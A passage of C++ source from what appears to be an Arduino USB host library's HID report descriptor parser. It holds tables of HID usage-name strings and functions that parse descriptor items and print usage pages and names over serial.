pstrUsageRecallLast, pstrUsageEnterChannel, pstrUsageOrderMovie, pstrUsageChannel, pstrUsageMediaSelection, pstrUsageMediaSelectComputer, pstrUsageMediaSelectTV, pstrUsageMediaSelectWWW, pstrUsageMediaSelectDVD, pstrUsageMediaSelectTelephone, pstrUsageMediaSelectProgramGuide, pstrUsageMediaSelectVideoPhone, pstrUsageMediaSelectGames, pstrUsageMediaSelectMessages, pstrUsageMediaSelectCD, pstrUsageMediaSelectVCR, pstrUsageMediaSelectTuner, pstrUsageQuit, pstrUsageHelp, pstrUsageMediaSelectTape, pstrUsageMediaSelectCable, pstrUsageMediaSelectSatellite, pstrUsageMediaSelectSecurity, pstrUsageMediaSelectHome, pstrUsageMediaSelectCall, pstrUsageChannelIncrement, pstrUsageChannelDecrement, pstrUsageMediaSelectSAP, pstrUsagePageReserved, pstrUsageVCRPlus, pstrUsageOnce, pstrUsageDaily, pstrUsageWeekly, pstrUsageMonthly }; const char * const ReportDescParserBase::consTitles6[] PROGMEM = { pstrUsagePlay, pstrUsagePause, pstrUsageRecord, pstrUsageFastForward, pstrUsageRewind, pstrUsageScanNextTrack, pstrUsageScanPreviousTrack, pstrUsageStop, pstrUsageEject, pstrUsageRandomPlay, pstrUsageSelectDisk, pstrUsageEnterDisk, pstrUsageRepeat, pstrUsageTracking, pstrUsageTrackNormal, pstrUsageSlowTracking, pstrUsageFrameForward, pstrUsageFrameBackwards, pstrUsageMark, pstrUsageClearMark, pstrUsageRepeatFromMark, pstrUsageReturnToMark, pstrUsageSearchMarkForward, pstrUsageSearchMarkBackwards, pstrUsageCounterReset, pstrUsageShowCounter, pstrUsageTrackingIncrement, pstrUsageTrackingDecrement, pstrUsageStopEject, pstrUsagePlayPause, pstrUsagePlaySkip }; const char * const ReportDescParserBase::consTitles7[] PROGMEM = { pstrUsageVolume, pstrUsageBalance, pstrUsageMute, pstrUsageBass, pstrUsageTreble, pstrUsageBassBoost, pstrUsageSurroundMode, pstrUsageLoudness, pstrUsageMPX, pstrUsageVolumeIncrement, pstrUsageVolumeDecrement }; const char * const ReportDescParserBase::consTitles8[] PROGMEM = { pstrUsageSpeedSelect, pstrUsagePlaybackSpeed, pstrUsageStandardPlay, pstrUsageLongPlay, pstrUsageExtendedPlay, pstrUsageSlow }; const char * const ReportDescParserBase::consTitles9[] PROGMEM = { pstrUsageFanEnable, pstrUsageFanSpeed, pstrUsageLightEnable, pstrUsageLightIlluminationLevel, pstrUsageClimateControlEnable, pstrUsageRoomTemperature, pstrUsageSecurityEnable, pstrUsageFireAlarm, pstrUsagePoliceAlarm, pstrUsageProximity, pstrUsageMotion, pstrUsageDuresAlarm, pstrUsageHoldupAlarm, pstrUsageMedicalAlarm }; const char * const ReportDescParserBase::consTitlesA[] PROGMEM = { pstrUsageBalanceRight, pstrUsageBalanceLeft, pstrUsageBassIncrement, pstrUsageBassDecrement, pstrUsageTrebleIncrement, pstrUsageTrebleDecrement }; const char * const ReportDescParserBase::consTitlesB[] PROGMEM = { pstrUsageSpeakerSystem, pstrUsageChannelLeft, pstrUsageChannelRight, pstrUsageChannelCenter, pstrUsageChannelFront, pstrUsageChannelCenterFront, pstrUsageChannelSide, pstrUsageChannelSurround, pstrUsageChannelLowFreqEnhancement, pstrUsageChannelTop, pstrUsageChannelUnknown }; const char * const ReportDescParserBase::consTitlesC[] PROGMEM = { pstrUsageSubChannel, pstrUsageSubChannelIncrement, pstrUsageSubChannelDecrement, pstrUsageAlternateAudioIncrement, pstrUsageAlternateAudioDecrement }; const char * const ReportDescParserBase::consTitlesD[] PROGMEM = { pstrUsageApplicationLaunchButtons, pstrUsageALLaunchButtonConfigTool, pstrUsageALProgrammableButton, pstrUsageALConsumerControlConfig, pstrUsageALWordProcessor, pstrUsageALTextEditor, pstrUsageALSpreadsheet, pstrUsageALGraphicsEditor, pstrUsageALPresentationApp, pstrUsageALDatabaseApp, pstrUsageALEmailReader, pstrUsageALNewsreader, pstrUsageALVoicemail, pstrUsageALContactsAddressBook, pstrUsageALCalendarSchedule, pstrUsageALTaskProjectManager, pstrUsageALLogJournalTimecard, pstrUsageALCheckbookFinance, pstrUsageALCalculator, pstrUsageALAVCapturePlayback, pstrUsageALLocalMachineBrowser, pstrUsageALLANWANBrow, pstrUsageALInternetBrowser, pstrUsageALRemoteNetISPConnect, pstrUsageALNetworkConference, pstrUsageALNetworkChat, pstrUsageALTelephonyDialer, pstrUsageALLogon, pstrUsageALLogoff, pstrUsageALLogonLogoff, pstrUsageALTermLockScrSav, pstrUsageALControlPannel, pstrUsageALCommandLineProcessorRun, pstrUsageALProcessTaskManager, pstrUsageALSelectTaskApplication, pstrUsageALNextTaskApplication, pstrUsageALPreviousTaskApplication, pstrUsageALPreemptiveHaltTaskApp, pstrUsageALIntegratedHelpCenter, pstrUsageALDocuments, pstrUsageALThesaurus, pstrUsageALDictionary, pstrUsageALDesktop, pstrUsageALSpellCheck, pstrUsageALGrammarCheck, pstrUsageALWirelessStatus, pstrUsageALKeyboardLayout, pstrUsageALVirusProtection, pstrUsageALEncryption, pstrUsageALScreenSaver, pstrUsageALAlarms, pstrUsageALClock, pstrUsageALFileBrowser, pstrUsageALPowerStatus, pstrUsageALImageBrowser, pstrUsageALAudioBrowser, pstrUsageALMovieBrowser, pstrUsageALDigitalRightsManager, pstrUsageALDigitalWallet, pstrUsagePageReserved, pstrUsageALInstantMessaging, pstrUsageALOEMFeaturesBrowser, pstrUsageALOEMHelp, pstrUsageALOnlineCommunity, pstrUsageALEntertainmentContentBrow, pstrUsageALOnlineShoppingBrowser, pstrUsageALSmartCardInfoHelp, pstrUsageALMarketMonitorFinBrowser, pstrUsageALCustomCorpNewsBrowser, pstrUsageALOnlineActivityBrowser, pstrUsageALResearchSearchBrowser, pstrUsageALAudioPlayer }; const char * const ReportDescParserBase::consTitlesE[] PROGMEM = { pstrUsageGenericGUIAppControls, pstrUsageACNew, pstrUsageACOpen, pstrUsageACClose, pstrUsageACExit, pstrUsageACMaximize, pstrUsageACMinimize, pstrUsageACSave, pstrUsageACPrint, pstrUsageACProperties, pstrUsageACUndo, pstrUsageACCopy, pstrUsageACCut, pstrUsageACPaste, pstrUsageACSelectAll, pstrUsageACFind, pstrUsageACFindAndReplace, pstrUsageACSearch, pstrUsageACGoto, pstrUsageACHome, pstrUsageACBack, pstrUsageACForward, pstrUsageACStop, pstrUsageACRefresh, pstrUsageACPreviousLink, pstrUsageACNextLink, pstrUsageACBookmarks, pstrUsageACHistory, pstrUsageACSubscriptions, pstrUsageACZoomIn, pstrUsageACZoomOut, pstrUsageACZoom, pstrUsageACFullScreenView, pstrUsageACNormalView, pstrUsageACViewToggle, pstrUsageACScrollUp, pstrUsageACScrollDown, pstrUsageACScroll, pstrUsageACPanLeft, pstrUsageACPanRight, pstrUsageACPan, pstrUsageACNewWindow, pstrUsageACTileHoriz, pstrUsageACTileVert, pstrUsageACFormat, pstrUsageACEdit, pstrUsageACBold, pstrUsageACItalics, pstrUsageACUnderline, pstrUsageACStrikethrough, pstrUsageACSubscript, pstrUsageACSuperscript, pstrUsageACAllCaps, pstrUsageACRotate, pstrUsageACResize, pstrUsageACFlipHorizontal, pstrUsageACFlipVertical, pstrUsageACMirrorHorizontal, pstrUsageACMirrorVertical, pstrUsageACFontSelect, pstrUsageACFontColor, pstrUsageACFontSize, pstrUsageACJustifyLeft, pstrUsageACJustifyCenterH, pstrUsageACJustifyRight, pstrUsageACJustifyBlockH, pstrUsageACJustifyTop, pstrUsageACJustifyCenterV, pstrUsageACJustifyBottom, pstrUsageACJustifyBlockV, pstrUsageACIndentDecrease, pstrUsageACIndentIncrease, pstrUsageACNumberedList, pstrUsageACRestartNumbering, pstrUsageACBulletedList, pstrUsageACPromote, pstrUsageACDemote, pstrUsageACYes, pstrUsageACNo, pstrUsageACCancel, pstrUsageACCatalog, pstrUsageACBuyChkout, pstrUsageACAddToCart, pstrUsageACExpand, pstrUsageACExpandAll, pstrUsageACCollapse, pstrUsageACCollapseAll, pstrUsageACPrintPreview, pstrUsageACPasteSpecial, pstrUsageACInsertMode, pstrUsageACDelete, pstrUsageACLock, pstrUsageACUnlock, pstrUsageACProtect, pstrUsageACUnprotect, pstrUsageACAttachComment, pstrUsageACDeleteComment, pstrUsageACViewComment, pstrUsageACSelectWord, pstrUsageACSelectSentence, pstrUsageACSelectParagraph, pstrUsageACSelectColumn, pstrUsageACSelectRow, pstrUsageACSelectTable, pstrUsageACSelectObject, pstrUsageACRedoRepeat, pstrUsageACSort, pstrUsageACSortAscending, pstrUsageACSortDescending, pstrUsageACFilter, pstrUsageACSetClock, pstrUsageACViewClock, pstrUsageACSelectTimeZone, pstrUsageACEditTimeZone, pstrUsageACSetAlarm, pstrUsageACClearAlarm, pstrUsageACSnoozeAlarm, pstrUsageACResetAlarm, pstrUsageACSyncronize, pstrUsageACSendReceive, pstrUsageACSendTo, pstrUsageACReply, pstrUsageACReplyAll, pstrUsageACForwardMessage, pstrUsageACSend, pstrUsageACAttachFile, pstrUsageACUpload, pstrUsageACDownload, pstrUsageACSetBorders, pstrUsageACInsertRow, pstrUsageACInsertColumn, pstrUsageACInsertFile, pstrUsageACInsertPicture, pstrUsageACInsertObject, pstrUsageACInsertSymbol, pstrUsageACSaveAndClose, pstrUsageACRename, pstrUsageACMerge, pstrUsageACSplit, pstrUsageACDistributeHorizontaly, pstrUsageACDistributeVerticaly }; const char * const ReportDescParserBase::digitTitles0[] PROGMEM = { pstrUsageDigitizer, pstrUsagePen, pstrUsageLightPen, pstrUsageTouchScreen, pstrUsageTouchPad, pstrUsageWhiteBoard, pstrUsageCoordinateMeasuringMachine, pstrUsage3DDigitizer, pstrUsageStereoPlotter, pstrUsageArticulatedArm, pstrUsageArmature, pstrUsageMultiplePointDigitizer, pstrUsageFreeSpaceWand }; const char * const ReportDescParserBase::digitTitles1[] PROGMEM = { pstrUsageStylus, pstrUsagePuck, pstrUsageFinger }; const char * const ReportDescParserBase::digitTitles2[] PROGMEM = { pstrUsageTipPressure, pstrUsageBarrelPressure, pstrUsageInRange, pstrUsageTouch, pstrUsageUntouch, pstrUsageTap, pstrUsageQuality, pstrUsageDataValid, pstrUsageTransducerIndex, pstrUsageTabletFunctionKeys, pstrUsageProgramChangeKeys, pstrUsageBatteryStrength, pstrUsageInvert, pstrUsageXTilt, pstrUsageYTilt, pstrUsageAzimuth, pstrUsageAltitude, pstrUsageTwist, pstrUsageTipSwitch, pstrUsageSecondaryTipSwitch, pstrUsageBarrelSwitch, pstrUsageEraser, pstrUsageTabletPick }; const char * const ReportDescParserBase::aplphanumTitles0[] PROGMEM = { pstrUsageAlphanumericDisplay, pstrUsageBitmappedDisplay }; const char * const ReportDescParserBase::aplphanumTitles1[] PROGMEM = { pstrUsageDisplayAttributesReport, pstrUsageASCIICharacterSet, pstrUsageDataReadBack, pstrUsageFontReadBack, pstrUsageDisplayControlReport, pstrUsageClearDisplay, pstrUsageDisplayEnable, pstrUsageScreenSaverDelay, pstrUsageScreenSaverEnable, pstrUsageVerticalScroll, pstrUsageHorizontalScroll, pstrUsageCharacterReport, pstrUsageDisplayData, pstrUsageDisplayStatus, pstrUsageStatusNotReady, pstrUsageStatusReady, pstrUsageErrorNotALoadableCharacter, pstrUsageErrorFotDataCanNotBeRead, pstrUsageCursorPositionReport, pstrUsageRow, pstrUsageColumn, pstrUsageRows, pstrUsageColumns, pstrUsageCursorPixelPosition, pstrUsageCursorMode, pstrUsageCursorEnable, pstrUsageCursorBlink, pstrUsageFontReport, pstrUsageFontData, pstrUsageCharacterWidth, pstrUsageCharacterHeight, pstrUsageCharacterSpacingHorizontal, pstrUsageCharacterSpacingVertical, pstrUsageUnicodeCharset, pstrUsageFont7Segment, pstrUsage7SegmentDirectMap, pstrUsageFont14Segment, pstrUsage14SegmentDirectMap, pstrUsageDisplayBrightness, pstrUsageDisplayContrast, pstrUsageCharacterAttribute, pstrUsageAttributeReadback, pstrUsageAttributeData, pstrUsageCharAttributeEnhance, pstrUsageCharAttributeUnderline, pstrUsageCharAttributeBlink }; const char * const ReportDescParserBase::aplphanumTitles2[] PROGMEM = { pstrUsageBitmapSizeX, pstrUsageBitmapSizeY, pstrUsagePageReserved, pstrUsageBitDepthFormat, pstrUsageDisplayOrientation, pstrUsagePaletteReport, pstrUsagePaletteDataSize, pstrUsagePaletteDataOffset, pstrUsagePaletteData, pstrUsageBlitReport, pstrUsageBlitRectangleX1, pstrUsageBlitRectangleY1, pstrUsageBlitRectangleX2, pstrUsageBlitRectangleY2, pstrUsageBlitData, pstrUsageSoftButton, pstrUsageSoftButtonID, pstrUsageSoftButtonSide, pstrUsageSoftButtonOffset1, pstrUsageSoftButtonOffset2, pstrUsageSoftButtonReport }; const char * const ReportDescParserBase::medInstrTitles0[] PROGMEM = { pstrUsageVCRAcquisition, pstrUsageFreezeThaw, pstrUsageClipStore, pstrUsageUpdate, pstrUsageNext, pstrUsageSave, pstrUsagePrint, pstrUsageMicrophoneEnable }; const char * const ReportDescParserBase::medInstrTitles1[] PROGMEM = { pstrUsageCine, pstrUsageTransmitPower, pstrUsageVolume, pstrUsageFocus, pstrUsageDepth }; const char * const ReportDescParserBase::medInstrTitles2[] PROGMEM = { pstrUsageSoftStepPrimary, pstrUsageSoftStepSecondary }; const char * const ReportDescParserBase::medInstrTitles3[] PROGMEM = { pstrUsageZoomSelect, pstrUsageZoomAdjust, pstrUsageSpectralDopplerModeSelect, pstrUsageSpectralDopplerModeAdjust, pstrUsageColorDopplerModeSelect, pstrUsageColorDopplerModeAdjust, pstrUsageMotionModeSelect, pstrUsageMotionModeAdjust, pstrUsage2DModeSelect, pstrUsage2DModeAdjust }; const char * const ReportDescParserBase::medInstrTitles4[] PROGMEM = { pstrUsageSoftControlSelect, pstrUsageSoftControlAdjust }; void ReportDescParserBase::Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset __attribute__((unused))) { uint16_t cntdn = (uint16_t)len; uint8_t *p = (uint8_t*)pbuf; totalSize = 0; while(cntdn) { //USB_HOST_SERIAL.println(""); //PrintHex(offset + len - cntdn); //USB_HOST_SERIAL.print(":"); ParseItem(&p, &cntdn); //if (ParseItem(&p, &cntdn)) // return; } //USBTRACE2("Total:", totalSize); } void ReportDescParserBase::PrintValue(uint8_t *p, uint8_t len) { E_Notify(PSTR("("), 0x80); for(; len; p++, len--) PrintHex (*p, 0x80); E_Notify(PSTR(")"), 0x80); } void ReportDescParserBase::PrintByteValue(uint8_t data) { E_Notify(PSTR("("), 0x80); PrintHex (data, 0x80); E_Notify(PSTR(")"), 0x80); } void ReportDescParserBase::PrintItemTitle(uint8_t prefix) { switch(prefix & (TYPE_MASK | TAG_MASK)) { case (TYPE_GLOBAL | TAG_GLOBAL_PUSH): E_Notify(PSTR("\r\nPush"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_POP): E_Notify(PSTR("\r\nPop"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_USAGEPAGE): E_Notify(PSTR("\r\nUsage Page"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMIN): E_Notify(PSTR("\r\nLogical Min"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMAX): E_Notify(PSTR("\r\nLogical Max"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMIN): E_Notify(PSTR("\r\nPhysical Min"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMAX): E_Notify(PSTR("\r\nPhysical Max"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_UNITEXP): E_Notify(PSTR("\r\nUnit Exp"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_UNIT): E_Notify(PSTR("\r\nUnit"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTSIZE): E_Notify(PSTR("\r\nReport Size"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTCOUNT): E_Notify(PSTR("\r\nReport Count"), 0x80); break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTID): E_Notify(PSTR("\r\nReport Id"), 0x80); break; case (TYPE_LOCAL | TAG_LOCAL_USAGE): E_Notify(PSTR("\r\nUsage"), 0x80); break; case (TYPE_LOCAL | TAG_LOCAL_USAGEMIN): E_Notify(PSTR("\r\nUsage Min"), 0x80); break; case (TYPE_LOCAL | TAG_LOCAL_USAGEMAX): E_Notify(PSTR("\r\nUsage Max"), 0x80); break; case (TYPE_MAIN | TAG_MAIN_COLLECTION): E_Notify(PSTR("\r\nCollection"), 0x80); break; case (TYPE_MAIN | TAG_MAIN_ENDCOLLECTION): E_Notify(PSTR("\r\nEnd Collection"), 0x80); break; case (TYPE_MAIN | TAG_MAIN_INPUT): E_Notify(PSTR("\r\nInput"), 0x80); break; case (TYPE_MAIN | TAG_MAIN_OUTPUT): E_Notify(PSTR("\r\nOutput"), 0x80); break; case (TYPE_MAIN | TAG_MAIN_FEATURE): E_Notify(PSTR("\r\nFeature"), 0x80); break; } // switch (**pp & (TYPE_MASK | TAG_MASK)) } uint8_t ReportDescParserBase::ParseItem(uint8_t **pp, uint16_t *pcntdn) { //uint8_t ret = enErrorSuccess; //reinterpret_cast<>(varBuffer); switch(itemParseState) { case 0: if(**pp == HID_LONG_ITEM_PREFIX) USBTRACE("\r\nLONG\r\n"); else { uint8_t size = ((**pp) & DATA_SIZE_MASK); itemPrefix = (**pp); itemSize = 1 + ((size == DATA_SIZE_4) ? 4 : size); PrintItemTitle(itemPrefix); } (*pp)++; (*pcntdn)--; itemSize--; itemParseState = 1; if(!itemSize) break; if(!pcntdn) return enErrorIncomplete; case 1: //USBTRACE2("\r\niSz:",itemSize); theBuffer.valueSize = itemSize; valParser.Initialize(&theBuffer); itemParseState = 2; case 2: if(!valParser.Parse(pp, pcntdn)) return enErrorIncomplete; itemParseState = 3; case 3: { uint8_t data = *((uint8_t*)varBuffer); switch(itemPrefix & (TYPE_MASK | TAG_MASK)) { case (TYPE_LOCAL | TAG_LOCAL_USAGE): if(pfUsage) { if(theBuffer.valueSize > 1) { uint16_t* ui16 = reinterpret_cast(varBuffer); pfUsage(*ui16); } else pfUsage(data); } break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTSIZE): rptSize = data; PrintByteValue(data); break; case (TYPE_GLOBAL | TAG_GLOBAL_REPORTCOUNT): rptCount = data; PrintByteValue(data); break; case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMIN): case (TYPE_GLOBAL | TAG_GLOBAL_LOGICALMAX): case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMIN): case (TYPE_GLOBAL | TAG_GLOBAL_PHYSMAX): case (TYPE_GLOBAL | TAG_GLOBAL_REPORTID): case (TYPE_LOCAL | TAG_LOCAL_USAGEMIN): case (TYPE_LOCAL | TAG_LOCAL_USAGEMAX): case (TYPE_GLOBAL | TAG_GLOBAL_UNITEXP): case (TYPE_GLOBAL | TAG_GLOBAL_UNIT): PrintValue(varBuffer, theBuffer.valueSize); break; case (TYPE_GLOBAL | TAG_GLOBAL_PUSH): case (TYPE_GLOBAL | TAG_GLOBAL_POP): break; case (TYPE_GLOBAL | TAG_GLOBAL_USAGEPAGE): SetUsagePage(data); PrintUsagePage(data); PrintByteValue(data); break; case (TYPE_MAIN | TAG_MAIN_COLLECTION): case (TYPE_MAIN | TAG_MAIN_ENDCOLLECTION): switch(data) { case 0x00: E_Notify(PSTR(" Physical"), 0x80); break; case 0x01: E_Notify(PSTR(" Application"), 0x80); break; case 0x02: E_Notify(PSTR(" Logical"), 0x80); break; case 0x03: E_Notify(PSTR(" Report"), 0x80); break; case 0x04: E_Notify(PSTR(" Named Array"), 0x80); break; case 0x05: E_Notify(PSTR(" Usage Switch"), 0x80); break; case 0x06: E_Notify(PSTR(" Usage Modifier"), 0x80); break; default: E_Notify(PSTR(" Vendor Defined("), 0x80); PrintHex (data, 0x80); E_Notify(PSTR(")"), 0x80); } break; case (TYPE_MAIN | TAG_MAIN_INPUT): case (TYPE_MAIN | TAG_MAIN_OUTPUT): case (TYPE_MAIN | TAG_MAIN_FEATURE): totalSize += (uint16_t)rptSize * (uint16_t)rptCount; rptSize = 0; rptCount = 0; E_Notify(PSTR("("), 0x80); PrintBin (data, 0x80); E_Notify(PSTR(")"), 0x80); break; } // switch (**pp & (TYPE_MASK | TAG_MASK)) } } // switch (itemParseState) itemParseState = 0; return enErrorSuccess; } ReportDescParserBase::UsagePageFunc ReportDescParserBase::usagePageFunctions[] /*PROGMEM*/ = { &ReportDescParserBase::PrintGenericDesktopPageUsage, &ReportDescParserBase::PrintSimulationControlsPageUsage, &ReportDescParserBase::PrintVRControlsPageUsage, &ReportDescParserBase::PrintSportsControlsPageUsage, &ReportDescParserBase::PrintGameControlsPageUsage, &ReportDescParserBase::PrintGenericDeviceControlsPageUsage, NULL, // Keyboard/Keypad &ReportDescParserBase::PrintLEDPageUsage, &ReportDescParserBase::PrintButtonPageUsage, &ReportDescParserBase::PrintOrdinalPageUsage, &ReportDescParserBase::PrintTelephonyPageUsage, &ReportDescParserBase::PrintConsumerPageUsage, &ReportDescParserBase::PrintDigitizerPageUsage, NULL, // Reserved NULL, // PID NULL // Unicode }; void ReportDescParserBase::SetUsagePage(uint16_t page) { pfUsage = NULL; if(VALUE_BETWEEN(page, 0x00, 0x11)) { pfUsage = (usagePageFunctions[page - 1]); } else { switch(page) { case 0x14: pfUsage = &ReportDescParserBase::PrintAlphanumDisplayPageUsage; break; case 0x40: pfUsage = &ReportDescParserBase::PrintMedicalInstrumentPageUsage; break; } } } void ReportDescParserBase::PrintUsagePage(uint16_t page) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(page, 0x00, 0x11, w, E_Notify, usagePageTitles0, 0x80) else output_if_between(page, 0x8b, 0x92, w, E_Notify, usagePageTitles1, 0x80) else if(VALUE_BETWEEN(page, 0x7f, 0x84)) E_Notify(pstrUsagePageMonitor, 0x80); else if(VALUE_BETWEEN(page, 0x83, 0x8c)) E_Notify(pstrUsagePagePower, 0x80); else if(page > 0xfeff /* && page <= 0xffff */) E_Notify(pstrUsagePageVendorDefined, 0x80); else switch(page) { case 0x14: E_Notify(pstrUsagePageAlphaNumericDisplay, 0x80); break; case 0x40: E_Notify(pstrUsagePageMedicalInstruments, 0x80); break; default: E_Notify(pstrUsagePageUndefined, 0x80); } } void ReportDescParserBase::PrintButtonPageUsage(uint16_t usage) { E_Notify(pstrSpace, 0x80); E_Notify(PSTR("Btn"), 0x80); PrintHex (usage, 0x80); E_Notify(PSTR("\r\n"), 0x80); //USB_HOST_SERIAL.print(usage, HEX); } void ReportDescParserBase::PrintOrdinalPageUsage(uint16_t usage) { E_Notify(pstrSpace, 0x80); E_Notify(PSTR("Inst"), 0x80); // Sorry, HEX for now... PrintHex (usage, 0x80); E_Notify(PSTR("\r\n"), 0x80); //USB_HOST_SERIAL.print(usage, DEC); } void ReportDescParserBase::PrintGenericDesktopPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x0a, w, E_Notify, genDesktopTitles0, 0x80) else output_if_between(usage, 0x2f, 0x49, w, E_Notify, genDesktopTitles1, 0x80) else output_if_between(usage, 0x7f, 0x94, w, E_Notify, genDesktopTitles2, 0x80) else output_if_between(usage, 0x9f, 0xa9, w, E_Notify, genDesktopTitles3, 0x80) else output_if_between(usage, 0xaf, 0xb8, w, E_Notify, genDesktopTitles4, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintSimulationControlsPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x0d, w, E_Notify, simuTitles0, 0x80) else output_if_between(usage, 0x1f, 0x26, w, E_Notify, simuTitles1, 0x80) else output_if_between(usage, 0xaf, 0xd1, w, E_Notify, simuTitles2, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintVRControlsPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x0b, w, E_Notify, vrTitles0, 0x80) else output_if_between(usage, 0x1f, 0x22, w, E_Notify, vrTitles1, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintSportsControlsPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x05, w, E_Notify, sportsCtrlTitles0, 0x80) else output_if_between(usage, 0x2f, 0x3a, w, E_Notify, sportsCtrlTitles1, 0x80) else output_if_between(usage, 0x4f, 0x64, w, E_Notify, sportsCtrlTitles2, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintGameControlsPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x04, w, E_Notify, gameTitles0, 0x80) else output_if_between(usage, 0x1f, 0x3a, w, E_Notify, gameTitles1, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintGenericDeviceControlsPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x1f, 0x27, w, E_Notify, genDevCtrlTitles, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintLEDPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x4e, w, E_Notify, ledTitles, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintTelephonyPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x08, w, E_Notify, telTitles0, 0x80) else output_if_between(usage, 0x1f, 0x32, w, E_Notify, telTitles1, 0x80) else output_if_between(usage, 0x4f, 0x54, w, E_Notify, telTitles2, 0x80) else output_if_between(usage, 0x6f, 0x75, w, E_Notify, telTitles3, 0x80) else output_if_between(usage, 0x8f, 0x9f, w, E_Notify, telTitles4, 0x80) else output_if_between(usage, 0xaf, 0xc0, w, E_Notify, telTitles5, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintConsumerPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x07, w, E_Notify, consTitles0, 0x80) else output_if_between(usage, 0x1f, 0x23, w, E_Notify, consTitles1, 0x80) else output_if_between(usage, 0x2f, 0x37, w, E_Notify, consTitles2, 0x80) else output_if_between(usage, 0x3f, 0x49, w, E_Notify, consTitles3, 0x80) else output_if_between(usage, 0x5f, 0x67, w, E_Notify, consTitles4, 0x80) else output_if_between(usage, 0x7f, 0xa5, w, E_Notify, consTitles5, 0x80) else output_if_between(usage, 0xaf, 0xcf, w, E_Notify, consTitles6, 0x80) else output_if_between(usage, 0xdf, 0xeb, w, E_Notify, consTitles7, 0x80) else output_if_between(usage, 0xef, 0xf6, w, E_Notify, consTitles8, 0x80) else output_if_between(usage, 0xff, 0x10e, w, E_Notify, consTitles9, 0x80) else output_if_between(usage, 0x14f, 0x156, w, E_Notify, consTitlesA, 0x80) else output_if_between(usage, 0x15f, 0x16b, w, E_Notify, consTitlesB, 0x80) else output_if_between(usage, 0x16f, 0x175, w, E_Notify, consTitlesC, 0x80) else output_if_between(usage, 0x17f, 0x1c8, w, E_Notify, consTitlesD, 0x80) else output_if_between(usage, 0x1ff, 0x29d, w, E_Notify, consTitlesE, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintDigitizerPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x0e, w, E_Notify, digitTitles0, 0x80) else output_if_between(usage, 0x1f, 0x23, w, E_Notify, digitTitles1, 0x80) else output_if_between(usage, 0x2f, 0x47, w, E_Notify, digitTitles2, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintAlphanumDisplayPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); output_if_between(usage, 0x00, 0x03, w, E_Notify, aplphanumTitles0, 0x80) else output_if_between(usage, 0x1f, 0x4e, w, E_Notify, aplphanumTitles1, 0x80) else output_if_between(usage, 0x7f, 0x96, w, E_Notify, digitTitles2, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } void ReportDescParserBase::PrintMedicalInstrumentPageUsage(uint16_t usage) { const char * const * w; E_Notify(pstrSpace, 0x80); if(usage == 1) E_Notify(pstrUsageMedicalUltrasound, 0x80); else if(usage == 0x70) E_Notify(pstrUsageDepthGainCompensation, 0x80); else output_if_between(usage, 0x1f, 0x28, w, E_Notify, medInstrTitles0, 0x80) else output_if_between(usage, 0x3f, 0x45, w, E_Notify, medInstrTitles1, 0x80) else output_if_between(usage, 0x5f, 0x62, w, E_Notify, medInstrTitles2, 0x80) else output_if_between(usage, 0x7f, 0x8a, w, E_Notify, medInstrTitles3, 0x80) else output_if_between(usage, 0x9f, 0xa2, w, E_Notify, medInstrTitles4, 0x80) else E_Notify(pstrUsagePageUndefined, 0x80); } uint8_t ReportDescParser2::ParseItem(uint8_t **pp, uint16_t *pcntdn) { //uint8_t ret = enErrorSuccess; switch(itemParseState) { case 0: if(**pp == HID_LONG_ITEM_PREFIX) USBTRACE("\r\nLONG\r\n"); else { uint8_t size = ((**pp) & DATA_SIZE_MASK); itemPrefix = (**pp); itemSize = 1 + ((size == DATA_SIZE_4) ? 4 : size); } (*pp)++; (*pcntdn)--; itemSize--; itemParseState = 1; if(!itemSize) break; if(!pcntdn) return enErrorIncomplete; case 1: theBuffer.valueSize 